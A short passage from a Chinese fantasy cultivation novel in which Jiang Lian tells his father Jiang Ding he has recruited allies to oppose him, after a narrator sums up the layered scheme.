先是让许夫人消耗他,再是策反常易,最后还找了姜柔。真是一环扣一环。 姜鼎问道:“所以,你要当我的对手?” 姜怜笑着摇头:“儿子自知修为不及父亲,所以找了其他人帮忙。”